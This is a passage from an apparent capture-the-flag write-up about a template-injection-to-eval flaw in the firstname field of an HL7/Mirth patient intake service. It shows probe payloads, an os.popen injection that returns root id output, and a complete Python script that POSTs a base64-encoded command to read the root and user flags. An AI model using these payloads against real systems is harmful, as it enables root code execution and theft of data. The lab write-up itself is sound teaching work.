    n\ n // Force to string\n    var d = String(date);\n\n    // Must be exactly 8 characters\n    if (d.length != 8) {\n        return &quot;&quot;;\n    }\n\n    // Must be all digits\n    if (!/^\\d{8}$/.test(d)) {\n        return &quot;&quot;;\n    }\n\n    // Expecting YYYYMMDD\n    var year = d.substr(0, 4);\n    var month = d.substr(4, 2);\n    var day = d.substr(6, 2);\n\n    return day + &quot;/&quot; + month + &quot;/&quot; + year;\n}

This function is not vulnerable, so it’s not our target. More like, the Date field isn’t the target.

Important

When you look at the Mirth Transformer steps for FIRSTNAME, LASTNAME, and ID, the mapping looks like this: msg[‘PID’][‘PID.5’][‘PID.5.2’].toString() Here is what it does: It takes the HL7 data and converts it to a String with no sanitization. So, unlike the BIRTH_DATE field, which was wrapped in a date_conversion() function, these fields are passed as raw strings. The server response I received earlier followed a specific format Patient [firstname] [lastname] ([gender]), [age] years old... So the fact that the server creates a sentence and renders our input back, without actually sanitizing it correctly, is our go-to now.

SSTI
#

Trial and Error: Command execution via SSTI
#

Now I’m targettig the firstame field in the XML. Since this script is running as root. Let’s try to exploit this RCE to execute system commands.

Here are the payloads wrappers I tested:

  • {{7*7}}
  • ${}
  • (())

This script is running as root. Let’s try to exploit this RCE to execute system commands.

Basically, they all returned Errors, but this hit the spot:

  • {__import__('platform').popen('id').read()}
    • Which returned Response: [EVAL_ERROR] module 'platform' has no attribute 'popen'.
  • <firstname>{test}</firstname>
    • Which returned Response: [EVAL_ERROR] name 'test' is not defined
  • <firstname>{{test}}</firstname>.
    • Which returned Response: [EVAL_ERROR] name 'test' is not defined.
test injection
Findings

So, the backend code is deprecating the first {} wrappers and then evaluating the code inside using eval() function. This is our target.

SSTI to RCE: Root Access
#

Here is a workaround from Snyk’s blog post:

  • {__import__("os").popen("id").read()}.
    • Which returned Response: Patient uid=0(root) gid=0(root) groups=0(root) SAMIRLOUSSIF (M), 26 years old, received from MIRTH at 20260222
rce
Rooted

So we succesfully have RCE now, we can simply read both flags, no need for a reverse shell.

import urllib.request
import base64

url = "http://127.0.0.1:54321/addPatient"

cmd = "cat /root/root.txt; cat /home/sedric/user.txt"
encoded_cmd = base64.b64encode(cmd.encode()).decode()

payload = f"""<patient>
  <timestamp>20260222</timestamp>
  <sender_app>MIRTH</sender_app>
  <id>1337</id>
  <firstname>{{__import__('os').popen(__import__('base64').b64decode('{encoded_cmd}').decode()).read()}}</firstname>
  <lastname>SAMIRLOUSSIF</lastname>
  <birth_date>30/01/2000</birth_date>
  <gender>M</gender>
</patient>"""

req = urllib.request.Request(url, data=payload.encode(), method="POST")
req.add_header("Content-Type", "text/plain")

try:
    with urllib.request.urlopen(req) as f:
        print("Response:", f.read().decode())
except Exception as e:
    print("Error:", e)

Simply launching the script gives us both flags.

flag